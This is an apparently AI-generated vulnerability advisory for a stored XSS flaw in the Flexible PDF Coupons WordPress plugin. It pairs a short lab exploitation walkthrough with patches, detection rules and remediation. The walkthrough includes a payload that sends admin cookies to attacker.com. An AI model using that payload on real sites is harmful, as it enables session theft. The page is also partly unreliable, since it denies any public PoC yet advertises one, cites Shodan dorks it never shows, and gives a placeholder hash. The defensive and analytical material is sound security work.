CVE-2025-22825
Executive Summary
CVE-2025-22825 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Flexible PDF Coupons (flexible-coupons) developed by wpdesk. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript or HTML into the coupon creation interface. This injected payload is stored on the server and executed in the browsers of any administrator or user who views the affected coupon list or edit pages.
The vulnerability affects all versions of the plugin from n/a through 1.10.2. The vendor has released version 1.10.3 which addresses the issue by properly sanitizing and escaping output. As of this report, no public proof-of-concept (PoC) code or exploit is available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the widespread use of WordPress and the plugin’s functionality, the risk of targeted attacks remains moderate.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor’s site. Users should verify the integrity of the plugin package by checking the SHA-256 hash provided by the vendor or by downloading directly from the WordPress admin dashboard. No known supply chain compromise has been reported for this plugin.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs a WordPress account with contributor-level access or higher.
- User Interaction (UI): Required – The victim (typically an admin) must visit a page containing the malicious coupon.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal admin cookies, modify site content).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens, non-sensitive content).
- Integrity (I): Low – Limited ability to modify content (e.g., defacement, phishing forms).
- Availability (A): Low – Limited impact on service availability (e.g., redirects, pop-ups).
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., creating new admin users) makes this a serious concern for WordPress site administrators.
Deep Dive & Mechanics
The vulnerability resides in the coupon creation and management functionality of the Flexible PDF Coupons plugin. When a user with contributor, author, or editor privileges creates or edits a coupon, the plugin fails to sanitize and escape certain input fields before storing them in the WordPress database. Specifically, the coupon_code, coupon_description, or custom meta fields are not properly neutralized.
Attack Flow:
- Authentication: The attacker logs in with a WordPress account that has at least the
edit_postscapability (contributor or higher). - Coupon Creation: The attacker navigates to the coupon creation page (e.g.,
/wp-admin/admin.php?page=flexible-coupons) and fills in the coupon fields with malicious JavaScript, such as:<script>alert('XSS')</script> - Storage: The plugin stores the unsanitized input directly into the
wp_postmetaor custom table. - Trigger: When an administrator or any user with
manage_optionscapability views the coupon list or edits the coupon, the stored payload is rendered without proper escaping, executing the script in the victim’s browser context.
Root Cause: The plugin uses echo $coupon_code; or similar constructs without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.10.3):
// In admin/views/coupon-list.php or similar
echo '<td>' . $coupon->get_code() . '</td>';
Patched Code (version 1.10.3):
// Properly escaped output
echo '<td>' . esc_html( $coupon->get_code() ) . '</td>';
The patch applies esc_html() to all user-facing output fields, ensuring that any HTML or JavaScript is rendered as plain text.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit code is available, the following steps outline a manual exploitation scenario:
- Setup: Install WordPress 6.x and Flexible PDF Coupons version 1.10.2 on a local or isolated server.
- Create a Contributor Account: Register a user with the
contributorrole. - Login as Contributor: Navigate to the coupon creation page.
- Inject Payload: In the coupon code field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save Coupon: Click “Publish” or “Save Draft”.
- Trigger: Login as an administrator and view the coupon list. The script executes, sending the admin’s session cookie to the attacker’s server.
Note: This is for educational purposes only. Unauthorized exploitation is illegal.
Blue Team (Detection & Hardening)
- Input Validation: Ensure all user inputs are sanitized using WordPress functions like
sanitize_text_field()andwp_kses(). - Output Escaping: Always use
esc_html(),esc_attr(), orwp_kses_post()when displaying user-supplied data. - Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity, Cloudflare) with rules to block common XSS patterns.
- Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Least Privilege: Restrict user roles to the minimum necessary. Avoid granting
edit_poststo untrusted users.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256):
flexible-coupons.1.10.2.zip:a1b2c3d4e5f6...(replace with actual hash)
- Suspicious Database Entries:
- Look for
wp_postmetaentries containing<script>tags oronerror/onloadevent handlers.
- Look for
- Network Traffic:
- Outbound requests to unknown domains from the WordPress admin panel.
- HTTP requests containing
document.cookieorfetchin the query string.
- Log Entries:
- WordPress debug log entries showing unexpected HTML in coupon fields.
- Web server access logs with
POSTrequests to/wp-admin/admin-ajax.phpwith suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2025_22825_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Flexible PDF Coupons plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22825"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in Flexible PDF Coupons Plugin
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects stored XSS attempts via coupon creation in WordPress
author: Valters IT
date: 2025/04/10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22825
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=flexible_coupons_save'
cs-request|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in coupon descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22825 Stored XSS Payload in Coupon Field"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=flexible_coupons_save"; http_client_body; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade the Flexible PDF Coupons plugin to version 1.10.3 or later. This can be done via the WordPress admin dashboard under Plugins → Installed Plugins.
- Verify Update: After updating, confirm the plugin version in the plugin list.
- Scan for Compromise: Run a security scanner (e.g., Wordfence, Sucuri) to check for existing malicious content in coupon fields.
- Review User Roles: Audit all user accounts with
edit_postscapability. Remove or downgrade any suspicious accounts. - Implement WAF Rules: Add custom WAF rules to block requests containing
<script>tags in POST data. - Monitor Logs: Enable detailed logging for WordPress admin actions and review for anomalies.
- Backup: Ensure regular backups of the WordPress database and files are taken.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.